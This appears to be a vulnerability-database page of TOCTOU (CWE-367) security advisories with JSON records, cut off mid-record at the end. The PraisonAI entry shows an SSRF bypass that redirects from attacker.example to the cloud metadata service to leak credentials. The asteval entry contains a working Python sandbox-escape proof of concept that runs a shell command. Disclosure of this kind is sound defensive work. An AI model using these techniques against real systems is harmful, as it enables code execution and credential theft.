CWE-367
AllowedTime-of-check Time-of-use (TOCTOU) Race Condition
Abstraction: Base · Status: Incomplete
The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.
1204 vulnerabilities reference this CWE, most recent first.
GHSA-VF87-345H-9QHX
Vulnerability from github – Published: 2026-04-22 18:31 – Updated: 2026-07-06 20:16Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-mj6p-44ch-cq69. This link is maintained to preserve external references.
Original Description
The mkdir utility in uutils coreutils incorrectly applies permissions when using the -m flag by creating a directory with umask-derived permissions (typically 0755) before subsequently changing them to the requested mode via a separate chmod system call. In multi-user environments, this introduces a brief window where a directory intended to be private is accessible to other users, potentially leading to unauthorized data access.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "coreutils"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-29T23:22:16Z",
"nvd_published_at": "2026-04-22T17:16:37Z",
"severity": "LOW"
},
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-mj6p-44ch-cq69. This link is maintained to preserve external references.\n\n### Original Description\nThe mkdir utility in uutils coreutils incorrectly applies permissions when using the -m flag by creating a directory with umask-derived permissions (typically 0755) before subsequently changing them to the requested mode via a separate chmod system call. In multi-user environments, this introduces a brief window where a directory intended to be private is accessible to other users, potentially leading to unauthorized data access.",
"id": "GHSA-vf87-345h-9qhx",
"modified": "2026-07-06T20:16:07Z",
"published": "2026-04-22T18:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35353"
},
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/pull/10036"
},
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/commit/037b9583bc03d814e8516df54ebcda6f681fe1f8"
},
{
"type": "PACKAGE",
"url": "https://github.com/uutils/coreutils"
},
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/releases/tag/0.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Duplicate Advisory: uutils coreutils has a Time-of-check Time-of-use (TOCTOU) Race Condition",
"withdrawn": "2026-07-06T20:16:07Z"
}
GHSA-VG6P-V9VM-6FGJ
Vulnerability from github – Published: 2026-08-25 14:43 – Updated: 2026-08-25 14:43The web_crawl tool performs its SSRF check only on the initial URL: it resolves the hostname once with socket.gethostbyname and rejects private/loopback/link-local results. It then passes the URL to a fetcher that uses httpx.Client(follow_redirects=True) - or urllib.request.urlopen when httpx is absent, which also follows redirects - and re-resolves the hostname at connect time, with no further validation. This validate-here/fetch-there gap is bypassable two independent ways: HTTP redirects and DNS rebinding.
Affected code: src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py - Single-shot validation (lines 229-238): if os.environ.get("ALLOW_LOCAL_CRAWL") != "true": ip_str = socket.gethostbyname(hostname) # resolved ONCE, at validation time ip = ipaddress.ip_address(ip_str) if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast or ip.is_unspecified: continue # rejected url_list.append(u) - Vulnerable fetch (_crawl_with_httpx, lines 142 / 149): follows redirects, re-resolves DNS, no re-check: with httpx.Client(follow_redirects=True, timeout=30.0) as client: response = client.get(url) # fallback: urllib.request.urlopen(url, timeout=30) (also follows redirects by default) - web_crawl / crawl_web are registered tools (tools/init.py:156-157); httpx is the default fallback provider (dispatch at web_crawl_tools.py:269).
The two bypasses: 1) Redirect: validation approves an attacker domain resolving to a public IP; attacker server replies 302 Location: http://169.254.169.254/... (or any internal host); the fetcher follows it unchecked. 2) DNS rebinding (TOCTOU): validator's gethostbyname and fetcher's connect-time resolution are independent; a low-TTL attacker domain answers public to the validator and private/loopback to fetch.
Impact: An agent with web_crawl - driven by direct input or indirect prompt injection - can be made to read internal-only HTTP services and cloud instance-metadata endpoints (e.g. IAM credentials), with the response body returned in the tool output. Scope is Changed because the request pivots into the internal network.
Proof of concept: A PoC drives the real web_crawl() (httpx absent -> genuine urllib fallback). It runs a loopback "internal metadata" service and a loopback attacker redirector, substituting DNS only to stand in for "attacker owns a public domain" / offline routing - the redirect-following and connect-time re-resolution are the repo's own behavior. Observed: CONTROL: web_crawl("http://127.0.0.1:.../meta-data/") -> blocked (validator works) PoC 1A (redirect): attacker.example approved (public); 302 -> loopback metadata -> result.content leaks {"AccessKeyId":"ASIA_FAKE_STOLEN_CREDENTIAL_..."} PoC 1B (rebinding): gethostbyname(rebind.example)->public (allowed); connect->127.0.0.1 -> same secret leaked The control proves the validator blocks a direct loopback request, so the bypasses are genuine.
Remediation: Resolve the hostname once, validate that IP, and connect to that exact validated IP (pin it) rather than re-resolving. Disable redirect following (follow_redirects=False; for urllib use a redirect handler that re-validates), or re-validate every redirect hop's resolved IP. Apply the deny check to both the validator and the actual socket target. file_tools.py:364 already uses follow_redirects=False and is the correct pattern to propagate.
Distinct from prior advisories: The accepted SSRF advisories concern host-string parsing in different code — alternate loopback encodings in spider_tools (GHSA-5c6w-wwfq-7qqm) and the CLI @url feature (GHSA-5cxw-77wg-jrf3). This is in the web_crawl tool, which neither advisory names, and the mechanisms (redirect-following and DNS rebinding) differ categorically from host-string encoding; the spider_tools _host_is_blocked hardening does not apply to this tool.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "praisonaiagents"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.58"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55524"
],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T14:43:19Z",
"nvd_published_at": "2026-08-05T20:17:10Z",
"severity": "HIGH"
},
"details": "The web_crawl tool performs its SSRF check only on the initial URL: it resolves the hostname once\nwith socket.gethostbyname and rejects private/loopback/link-local results. It then passes the URL to\na fetcher that uses httpx.Client(follow_redirects=True) - or urllib.request.urlopen when httpx is\nabsent, which also follows redirects - and re-resolves the hostname at connect time, with no further\nvalidation. This validate-here/fetch-there gap is bypassable two independent ways: HTTP redirects and\nDNS rebinding.\n\nAffected code: src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py\n- Single-shot validation (lines 229-238):\n if os.environ.get(\"ALLOW_LOCAL_CRAWL\") != \"true\":\n ip_str = socket.gethostbyname(hostname) # resolved ONCE, at validation time\n ip = ipaddress.ip_address(ip_str)\n if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast or ip.is_unspecified:\n continue # rejected\n url_list.append(u)\n- Vulnerable fetch (_crawl_with_httpx, lines 142 / 149): follows redirects, re-resolves DNS, no re-check:\n with httpx.Client(follow_redirects=True, timeout=30.0) as client: response = client.get(url)\n # fallback: urllib.request.urlopen(url, timeout=30) (also follows redirects by default)\n- web_crawl / crawl_web are registered tools (tools/__init__.py:156-157); httpx is the default fallback\n provider (dispatch at web_crawl_tools.py:269).\n\nThe two bypasses:\n1) Redirect: validation approves an attacker domain resolving to a public IP; attacker server replies\n 302 Location: http://169.254.169.254/... (or any internal host); the fetcher follows it unchecked.\n2) DNS rebinding (TOCTOU): validator\u0027s gethostbyname and fetcher\u0027s connect-time resolution are\n independent; a low-TTL attacker domain answers public to the validator and private/loopback to fetch.\n\nImpact:\nAn agent with web_crawl - driven by direct input or indirect prompt injection - can be made to read\ninternal-only HTTP services and cloud instance-metadata endpoints (e.g. IAM credentials), with the\nresponse body returned in the tool output. Scope is Changed because the request pivots into the\ninternal network.\n\nProof of concept:\nA PoC drives the real web_crawl() (httpx absent -\u003e genuine urllib fallback). It runs a loopback\n\"internal metadata\" service and a loopback attacker redirector, substituting DNS only to stand in\nfor \"attacker owns a public domain\" / offline routing - the redirect-following and connect-time\nre-resolution are the repo\u0027s own behavior. Observed:\n CONTROL: web_crawl(\"http://127.0.0.1:.../meta-data/\") -\u003e blocked (validator works)\n PoC 1A (redirect): attacker.example approved (public); 302 -\u003e loopback metadata\n -\u003e result.content leaks {\"AccessKeyId\":\"ASIA_FAKE_STOLEN_CREDENTIAL_...\"}\n PoC 1B (rebinding): gethostbyname(rebind.example)-\u003epublic (allowed); connect-\u003e127.0.0.1\n -\u003e same secret leaked\nThe control proves the validator blocks a direct loopback request, so the bypasses are genuine.\n\nRemediation:\nResolve the hostname once, validate that IP, and connect to that exact validated IP (pin it) rather\nthan re-resolving. Disable redirect following (follow_redirects=False; for urllib use a redirect\nhandler that re-validates), or re-validate every redirect hop\u0027s resolved IP. Apply the deny check to\nboth the validator and the actual socket target. file_tools.py:364 already uses follow_redirects=False\nand is the correct pattern to propagate.\n\nDistinct from prior advisories:\nThe accepted SSRF advisories concern host-string parsing in different code \u2014 alternate loopback\nencodings in spider_tools (GHSA-5c6w-wwfq-7qqm) and the CLI @url feature (GHSA-5cxw-77wg-jrf3). This\nis in the web_crawl tool, which neither advisory names, and the mechanisms (redirect-following and DNS\nrebinding) differ categorically from host-string encoding; the spider_tools _host_is_blocked hardening\ndoes not apply to this tool.",
"id": "GHSA-vg6p-v9vm-6fgj",
"modified": "2026-08-25T14:43:19Z",
"published": "2026-08-25T14:43:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vg6p-v9vm-6fgj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55524"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "praisonaiagents vulnerable to SSRF in web_crawl tool via redirect-following and DNS rebinding (validate-then-fetch gap)"
}
GHSA-VGCC-2R5P-6QVC
Vulnerability from github – Published: 2026-07-16 21:30 – Updated: 2026-07-16 21:30A time-of-check to time-of-use (TOCTOU) race condition in the installation and uninstallation process of certain Zoom Clients for Windows could allow an authenticated local user to escalate privileges.
{
"affected": [],
"aliases": [
"CVE-2026-53410"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-16T21:17:21Z",
"severity": "HIGH"
},
"details": "A time-of-check to time-of-use (TOCTOU) race condition in the installation and uninstallation process of certain Zoom Clients for Windows could allow an authenticated local user to escalate privileges.",
"id": "GHSA-vgcc-2r5p-6qvc",
"modified": "2026-07-16T21:30:39Z",
"published": "2026-07-16T21:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-53410"
},
{
"type": "WEB",
"url": "https://www.zoom.com/en/trust/security-bulletin/zsb-26012"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VGV6-JWQW-MQWW
Vulnerability from github – Published: 2022-05-24 17:49 – Updated: 2022-05-24 17:49This vulnerability allows local attackers to disclose sensitive information on affected installations of Parallels Desktop 15.1.5-47309. An attacker must first obtain the ability to execute low-privileged code on the target guest system in order to exploit this vulnerability. The specific flaw exists within the Open Tools Gate component. The issue results from the lack of proper locking when performing operations on an object. An attacker can leverage this in conjunction with other vulnerabilities to escalate privileges and execute arbitrary code in the context of the hypervisor. Was ZDI-CAN-13082.
{
"affected": [],
"aliases": [
"CVE-2021-31427"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-29T17:15:00Z",
"severity": "MODERATE"
},
"details": "This vulnerability allows local attackers to disclose sensitive information on affected installations of Parallels Desktop 15.1.5-47309. An attacker must first obtain the ability to execute low-privileged code on the target guest system in order to exploit this vulnerability. The specific flaw exists within the Open Tools Gate component. The issue results from the lack of proper locking when performing operations on an object. An attacker can leverage this in conjunction with other vulnerabilities to escalate privileges and execute arbitrary code in the context of the hypervisor. Was ZDI-CAN-13082.",
"id": "GHSA-vgv6-jwqw-mqww",
"modified": "2022-05-24T17:49:11Z",
"published": "2022-05-24T17:49:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31427"
},
{
"type": "WEB",
"url": "https://kb.parallels.com/en/125013"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-21-435"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-VHWF-4X96-VQX2
Vulnerability from github – Published: 2026-03-12 14:21 – Updated: 2026-04-06 22:46OpenClaw's skills download installer validated the intended per-skill tools root lexically, but later reused that mutable path while downloading and copying the archive into place. If a local attacker could rebind that tools-root path between validation and the final write, the installer could be redirected to write outside the intended tools directory.
The fix pins the canonical per-skill tools root immediately after validation and derives later download/copy paths from that canonical root, so rebinding the lexical path fails closed instead of redirecting the write.
Affected Packages / Versions
- Package:
openclaw(npm) - Latest published vulnerable version:
2026.3.7 - Affected range:
<= 2026.3.7 - Fixed in released version:
2026.3.8
Fix Commit(s)
9abf014f3502009faf9c73df5ca2cff719e54639
Release Verification
- Verified fixed in GitHub release
v2026.3.8published on March 9, 2026. - Verified
npm view openclaw versionresolves to2026.3.8. - Verified the release contains the regression test covering tools-root rebinding and that the test passes against the
v2026.3.8tree.
Thanks @tdjackey for reporting.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.3.7"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33574"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-12T14:21:32Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "OpenClaw\u0027s skills download installer validated the intended per-skill tools root lexically, but later reused that mutable path while downloading and copying the archive into place. If a local attacker could rebind that tools-root path between validation and the final write, the installer could be redirected to write outside the intended tools directory.\n\nThe fix pins the canonical per-skill tools root immediately after validation and derives later download/copy paths from that canonical root, so rebinding the lexical path fails closed instead of redirecting the write.\n\n## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Latest published vulnerable version: `2026.3.7`\n- Affected range: `\u003c= 2026.3.7`\n- Fixed in released version: `2026.3.8`\n\n## Fix Commit(s)\n\n- `9abf014f3502009faf9c73df5ca2cff719e54639`\n\n## Release Verification\n\n- Verified fixed in GitHub release `v2026.3.8` published on March 9, 2026.\n- Verified `npm view openclaw version` resolves to `2026.3.8`.\n- Verified the release contains the regression test covering tools-root rebinding and that the test passes against the `v2026.3.8` tree.\n\nThanks @tdjackey for reporting.",
"id": "GHSA-vhwf-4x96-vqx2",
"modified": "2026-04-06T22:46:40Z",
"published": "2026-03-12T14:21:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-vhwf-4x96-vqx2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33574"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/9abf014f3502009faf9c73df5ca2cff719e54639"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-path-traversal-via-tools-root-rebinding-in-skills-download"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw\u0027s skills-install-download can be redirected outside the tools root by rebinding the validated base path"
}
GHSA-VJFR-FFHR-5G8P
Vulnerability from github – Published: 2026-08-19 18:32 – Updated: 2026-08-19 18:32Time-of-check Time-of-use (TOCTOU) Race Condition in ZenHive mpp allows an unauthenticated remote client to redeem one confirmed on-chain payment for multiple paid-resource accesses.
The type="hash" credential path in MPP.Methods.Tempo.verify/2 guards against replay with a non-atomic check-then-mark sequence: check_hash_unused/2 reads the dedup store, an eth_getTransactionReceipt round trip verifies the payment on chain, and only then does mark_hash_used/2 write the mark. Concurrent requests carrying the same settled payment hash all pass the read before any of them writes, so each is issued a receipt. The store's atomic check_and_mark/2 primitive is available and used by the type="transaction" path, but the hash path calls plain get and put even when the configured store implements it. Exploitation requires a dedup store to be configured; the default nil store is stateless and documented as offering no replay protection at all.
This issue affects mpp: from 0.2.0 before 0.6.1.
{
"affected": [],
"aliases": [
"CVE-2026-73829"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-19T18:17:25Z",
"severity": "MODERATE"
},
"details": "Time-of-check Time-of-use (TOCTOU) Race Condition in ZenHive mpp allows an unauthenticated remote client to redeem one confirmed on-chain payment for multiple paid-resource accesses.\n\nThe type=\"hash\" credential path in MPP.Methods.Tempo.verify/2 guards against replay with a non-atomic check-then-mark sequence: check_hash_unused/2 reads the dedup store, an eth_getTransactionReceipt round trip verifies the payment on chain, and only then does mark_hash_used/2 write the mark. Concurrent requests carrying the same settled payment hash all pass the read before any of them writes, so each is issued a receipt. The store\u0027s atomic check_and_mark/2 primitive is available and used by the type=\"transaction\" path, but the hash path calls plain get and put even when the configured store implements it. Exploitation requires a dedup store to be configured; the default nil store is stateless and documented as offering no replay protection at all.\n\nThis issue affects mpp: from 0.2.0 before 0.6.1.",
"id": "GHSA-vjfr-ffhr-5g8p",
"modified": "2026-08-19T18:32:54Z",
"published": "2026-08-19T18:32:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ZenHive/mpp/security/advisories/GHSA-w8j7-7qc3-5f24"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73829"
},
{
"type": "WEB",
"url": "https://github.com/ZenHive/mpp/commit/46c5b0e1311da7d92190dc7d9ea89027a1d365e9"
},
{
"type": "WEB",
"url": "https://cna.erlef.org/cves/CVE-2026-73829.html"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/EEF-CVE-2026-73829"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VM3P-4VXH-GFFG
Vulnerability from github – Published: 2026-07-14 18:32 – Updated: 2026-07-14 18:32TOCTOU Race Condition in specific trace commands of the TraceEvent() system call could allow an attacker with local access and with the PROCMGR_AID_TRACE ability, to cause information disclosure, data tampering or a crash of the QNX Neutrino kernel.
{
"affected": [],
"aliases": [
"CVE-2026-4018"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T18:17:26Z",
"severity": "MODERATE"
},
"details": "TOCTOU Race Condition in specific trace commands of the TraceEvent() system call could allow an attacker with local access and with the PROCMGR_AID_TRACE ability, to cause information disclosure, data tampering or a crash of the QNX Neutrino kernel.",
"id": "GHSA-vm3p-4vxh-gffg",
"modified": "2026-07-14T18:32:14Z",
"published": "2026-07-14T18:32:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4018"
},
{
"type": "WEB",
"url": "https://support.blackberry.com/pkb/s/article/141213"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VMMW-77GQ-C2HQ
Vulnerability from github – Published: 2026-08-03 03:31 – Updated: 2026-08-03 21:31In Audio HAL, there is a possible system becoming unresponsive due to a race condition. This could lead to local denial of service with User execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS10960026 (Note: For MT6880, MT6890, MT6990, MT6988) / AUTO00851250 (Note: For MT2735, MT2737); Issue ID: MSV-7583.
{
"affected": [],
"aliases": [
"CVE-2026-20492"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-03T03:16:44Z",
"severity": "MODERATE"
},
"details": "In Audio HAL, there is a possible system becoming unresponsive due to a race condition. This could lead to local denial of service with User execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS10960026 (Note: For MT6880, MT6890, MT6990, MT6988) / AUTO00851250 (Note: For MT2735, MT2737); Issue ID: MSV-7583.",
"id": "GHSA-vmmw-77gq-c2hq",
"modified": "2026-08-03T21:31:34Z",
"published": "2026-08-03T03:31:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20492"
},
{
"type": "WEB",
"url": "https://www.mediatek.com/product-security-bulletin/August-2026"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VMW6-XGXQ-PW9V
Vulnerability from github – Published: 2026-04-16 03:31 – Updated: 2026-04-16 03:31An Incorrect Permission Assignment for Critical Resource vulnerability in the ASUS DriverHub update process allows privilege escalation due to improper protection of required execution resources during the validation phase, permitting a local user to make unprivileged modifications. This allows the altered resource to pass system checks and be executed with elevated privileges upon a user-initiated update. Refer to the 'Security Update for ASUS DriverHub' section on the ASUS Security Advisory for more information.
{
"affected": [],
"aliases": [
"CVE-2026-1880"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-16T03:16:25Z",
"severity": "MODERATE"
},
"details": "An Incorrect Permission Assignment for Critical Resource vulnerability in the ASUS DriverHub update process allows privilege escalation due to improper protection of required execution resources during the validation phase, permitting a local user to make unprivileged modifications. This allows the altered resource to pass system checks and be executed with elevated privileges upon a user-initiated update.\nRefer to the \u0027Security Update for ASUS DriverHub\u0027 section on the ASUS Security Advisory for more information.",
"id": "GHSA-vmw6-xgxq-pw9v",
"modified": "2026-04-16T03:31:06Z",
"published": "2026-04-16T03:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1880"
},
{
"type": "WEB",
"url": "https://www.asus.com/security-advisory"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VP47-9734-PRJW
Vulnerability from github – Published: 2025-01-23 22:33 – Updated: 2025-01-23 22:33Summary
If an attacker can control the input to the asteval library, they can bypass its safety restrictions and execute arbitrary Python code within the application's context.
Details
The vulnerability is rooted in how asteval performs attribute access verification. In particular, the on_attribute node handler prevents access to attributes that are either present in the UNSAFE_ATTRS list or are formed by names starting and ending with __, as shown in the code snippet below:
def on_attribute(self, node): # ('value', 'attr', 'ctx')
"""Extract attribute."""
ctx = node.ctx.__class__
if ctx == ast.Store:
msg = "attribute for storage: shouldn't be here!"
self.raise_exception(node, exc=RuntimeError, msg=msg)
sym = self.run(node.value)
if ctx == ast.Del:
return delattr(sym, node.attr)
#
unsafe = (node.attr in UNSAFE_ATTRS or
(node.attr.startswith('__') and node.attr.endswith('__')))
if not unsafe:
for dtype, attrlist in UNSAFE_ATTRS_DTYPES.items():
unsafe = isinstance(sym, dtype) and node.attr in attrlist
if unsafe:
break
if unsafe:
msg = f"no safe attribute '{node.attr}' for {repr(sym)}"
self.raise_exception(node, exc=AttributeError, msg=msg)
else:
try:
return getattr(sym, node.attr)
except AttributeError:
pass
While this check is intended to block access to sensitive Python dunder methods (such as __getattribute__), the flaw arises because instances of the Procedure class expose their AST (stored in the body attribute) without proper protection:
class Procedure:
"""Procedure: user-defined function for asteval.
This stores the parsed ast nodes as from the 'functiondef' ast node
for later evaluation.
"""
def __init__(self, name, interp, doc=None, lineno=0,
body=None, args=None, kwargs=None,
vararg=None, varkws=None):
"""TODO: docstring in public method."""
self.__ininit__ = True
self.name = name
self.__name__ = self.name
self.__asteval__ = interp
self.raise_exc = self.__asteval__.raise_exception
self.__doc__ = doc
self.body = body
self.argnames = args
self.kwargs = kwargs
self.vararg = vararg
self.varkws = varkws
self.lineno = lineno
self.__ininit__ = False
Since the body attribute is not protected by a naming convention that would restrict its modification, an attacker can modify the AST of a Procedure during runtime to leverage unintended behaviour.
The exploit works as follows:
- The Time of Check, Time of Use (TOCTOU) Gadget:
In the code below, a variable named unsafe is set based on whether node.attr is considered unsafe:
python
unsafe = (node.attr in UNSAFE_ATTRS or
(node.attr.startswith('__') and node.attr.endswith('__')))
- Exploiting the TOCTOU Gadget:
An attacker can abuse this gadget by hooking any Attribute AST node that is not in the UNSAFE_ATTRS list. The attacker modifies the node.attr.startswith function so that it points to a custom procedure. This custom procedure performs the following steps:
- It replaces the value of
node.attrwith the string"__getattribute__"and returnsFalse. - Thus, when
node.attr.startswith('__')is evaluated, it returnsFalse, which causes the condition to short-circuit and setsunsafetoFalse. - However, by that time,
node.attrhas been changed to"__getattribute__", which will be used in the subsequentgetattr(sym, node.attr)call. An attacker can then use the obtained reference tosym.__getattr__to retrieve malicious attributes without needing to pass theon_attributechecks.
PoC
The following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the whoami command on the host machine:
from asteval import Interpreter
aeval = Interpreter()
code = """
ga_str = "__getattribute__"
def lender():
a
b
def pwn():
ga = lender.dontcare
init = ga("__init__")
ga = init.dontcare
globals = ga("__globals__")
builtins = globals["__builtins__"]
importer = builtins["__import__"]
importer("os").system("whoami")
def startswith1(str):
# Replace the attr on the targeted AST node with "__getattribute__"
pwn.body[0].value.attr = ga_str
return False
def startswith2(str):
pwn.body[2].value.attr = ga_str
return False
n1 = lender.body[0]
n1.startswith = startswith1
pwn.body[0].value.attr = n1
n2 = lender.body[1]
n2.startswith = startswith2
pwn.body[2].value.attr = n2
pwn()
"""
aeval(code)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.5"
},
"package": {
"ecosystem": "PyPI",
"name": "asteval"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-749"
],
"github_reviewed": true,
"github_reviewed_at": "2025-01-23T22:33:48Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nIf an attacker can control the input to the asteval library, they can bypass its safety restrictions and execute arbitrary Python code within the application\u0027s context.\n\n### Details\nThe vulnerability is rooted in how `asteval` performs attribute access verification. In particular, the [`on_attribute`](https://github.com/lmfit/asteval/blob/8d7326df8015cf6a57506b1c2c167a1c3763e090/asteval/asteval.py#L565) node handler prevents access to attributes that are either present in the `UNSAFE_ATTRS` list or are formed by names starting and ending with `__`, as shown in the code snippet below:\n\n```py\n def on_attribute(self, node): # (\u0027value\u0027, \u0027attr\u0027, \u0027ctx\u0027)\n \"\"\"Extract attribute.\"\"\"\n\n ctx = node.ctx.__class__\n if ctx == ast.Store:\n msg = \"attribute for storage: shouldn\u0027t be here!\"\n self.raise_exception(node, exc=RuntimeError, msg=msg)\n\n sym = self.run(node.value)\n if ctx == ast.Del:\n return delattr(sym, node.attr)\n #\n unsafe = (node.attr in UNSAFE_ATTRS or\n (node.attr.startswith(\u0027__\u0027) and node.attr.endswith(\u0027__\u0027)))\n if not unsafe:\n for dtype, attrlist in UNSAFE_ATTRS_DTYPES.items():\n unsafe = isinstance(sym, dtype) and node.attr in attrlist\n if unsafe:\n break\n if unsafe:\n msg = f\"no safe attribute \u0027{node.attr}\u0027 for {repr(sym)}\"\n self.raise_exception(node, exc=AttributeError, msg=msg)\n else:\n try:\n return getattr(sym, node.attr)\n except AttributeError:\n pass\n```\n\nWhile this check is intended to block access to sensitive Python dunder methods (such as `__getattribute__`), the flaw arises because instances of the `Procedure` class expose their AST (stored in the `body` attribute) without proper protection:\n\n```py\nclass Procedure:\n \"\"\"Procedure: user-defined function for asteval.\n\n This stores the parsed ast nodes as from the \u0027functiondef\u0027 ast node\n for later evaluation.\n\n \"\"\"\n\n def __init__(self, name, interp, doc=None, lineno=0,\n body=None, args=None, kwargs=None,\n vararg=None, varkws=None):\n \"\"\"TODO: docstring in public method.\"\"\"\n self.__ininit__ = True\n self.name = name\n self.__name__ = self.name\n self.__asteval__ = interp\n self.raise_exc = self.__asteval__.raise_exception\n self.__doc__ = doc\n self.body = body\n self.argnames = args\n self.kwargs = kwargs\n self.vararg = 